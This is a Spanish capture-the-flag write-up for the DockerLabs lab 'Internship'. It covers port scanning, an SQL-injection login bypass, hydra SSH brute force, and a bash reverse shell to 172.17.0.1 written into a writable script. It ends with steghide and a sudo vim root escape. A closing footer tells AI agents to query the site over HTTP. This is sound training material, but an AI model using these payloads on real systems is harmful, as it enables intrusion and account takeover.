# Internship

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoXXl5MohSE7u0JPZJlWs%2Fimage.png?alt=media&#x26;token=a1f34c6a-b2b6-426f-9dfe-11927fc89765" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhtRmUkQH61ELClFxhstB%2Fimage.png?alt=media&#x26;token=06d8ac7a-166b-419b-8fee-f6473c360407" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3bqBrdxNG2mQGxLI0wMq%2Fimage.png?alt=media&#x26;token=2286868a-fb77-48a5-be87-d5bfe50c9784" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdcEp5DLErfuLjwNZmvcU%2Fimage.png?alt=media&#x26;token=31e13595-1c7c-4183-adee-3313bf1b54e8" alt=""><figcaption></figcaption></figure>

Viendo el código fuente encontramos un dominio por lo que lo añadimos al `/etc/hosts`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F90u2rDfGey1oSVIx8nUp%2FCaptura%20de%20pantalla%202025-02-26%20193843.png?alt=media&#x26;token=543efdf7-6a2c-4f8b-8547-96a53e2727ea" alt=""><figcaption></figcaption></figure>

Recargamos la página y pulsamos a Iniciar Sesión. Al ser un panel de Login realizamos el típico bypass para probar.

```
' or 1=1 -- -
' or 1=1 -- -
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtfHmme4rqkQiPrRyyus8%2Fimage.png?alt=media&#x26;token=f564abc7-383d-4575-90d8-74d4e0e52efd" alt=""><figcaption></figcaption></figure>

Vemos que hay unos usuarios por lo que ponemos los nombres en un archivo para realizar fuerza bruta. Nos falta la contraseña por lo que seguimos indagando por lo que escaneamos los directorios.

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fn66Jfkj2nbQe1lLkwdbG%2Fimage.png?alt=media&#x26;token=4d65d99a-d31b-43be-bc53-6308dff0ccae" alt=""><figcaption></figcaption></figure>

Nos llama la atención de un directorio llamado `/spam`. A primera vista nos sale vacío pero revisamos el código fuente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4fVaUaxMrSakBDCD5tYq%2Fimage.png?alt=media&#x26;token=3087af7c-8ab5-433a-95f5-fd47b70fbb77" alt=""><figcaption></figcaption></figure>

Parece que contiene información relevante pero esta en ROT13.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjieUlvc7jZQYDtxGzpiB%2FCaptura%20de%20pantalla%202025-02-26%20195359.png?alt=media&#x26;token=7de11dc3-0ab5-4a98-ba06-bbf38f2dbb12" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Ahora sí tras descubrir la contraseña hacemos fuerza bruta.

```
hydra -L usuarios -p purpl3 -I ssh://172.17.0.2 
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNOvQsbQVYhcNacgo5WjP%2Fimage.png?alt=media&#x26;token=fdd1f968-340b-4529-a793-c2897ae9a6ea" alt=""><figcaption></figcaption></figure>

Iniciamos sesión con las credenciales.

```bash
ssh pedro@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoPthINw5xVzIcy83yIjy%2Fimage.png?alt=media&#x26;token=29d85f7c-b096-4b55-a3ec-b028b46e2f60" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Dentro del directorio `/opt`, encontramos el script `log_cleaner.sh`, el cual pertenece al usuario `valentina` y tiene permisos de lectura, escritura y ejecución para su propietario, así como permisos de lectura y escritura para otros usuarios.

```bash
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/445 0>&1
```

Nos ponemos en escucha.

```
nc -nlvp 445
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1V82rBLgkka3gOsqNdK5%2Fimage.png?alt=media&#x26;token=8cdd67e1-d7e3-4dde-9834-7703f1d24b3c" alt=""><figcaption></figcaption></figure>

Vemos que hay una imagen por lo que nos la traemos a nuestra máquina para realizar la técnica de esteganografía.

```bash
mv profile_picture.jpeg /tmp
chmod 0777 /tmp/profile_picture.jpeg
```

En nuestra máquina local.

```bash
scp pedro@172.17.0.2:/tmp/profile_picture.jpeg .
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvnQ4eaKvwyfmiy8KMJZJ%2Fimage.png?alt=media&#x26;token=c4aa4015-3aa0-44c1-a467-1b2c9a9ee34e" alt=""><figcaption></figcaption></figure>

Usamos la herramienta de **Steghide**.

```
steghide extract -sf profile_picture.jpeg
```

Miramos el contenido del archivo.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKlBmuy4WGulz7fMU77EZ%2Fimage.png?alt=media&#x26;token=8b46b411-a9a3-4088-81d9-fba088b5abd7" alt=""><figcaption></figcaption></figure>

Será la contraseña de valentina.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYuDViIFYPkVmoFN7mtxP%2Fimage.png?alt=media&#x26;token=c01bf213-4056-4324-8f30-252cefe51537" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/vim/#sudo>" %}

```bash
sudo vim -c ':!/bin/sh'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbY39wxl222RhPk1R2LVK%2Fimage.png?alt=media&#x26;token=3502048c-8676-437b-befe-34984bd318ac" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/internship.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
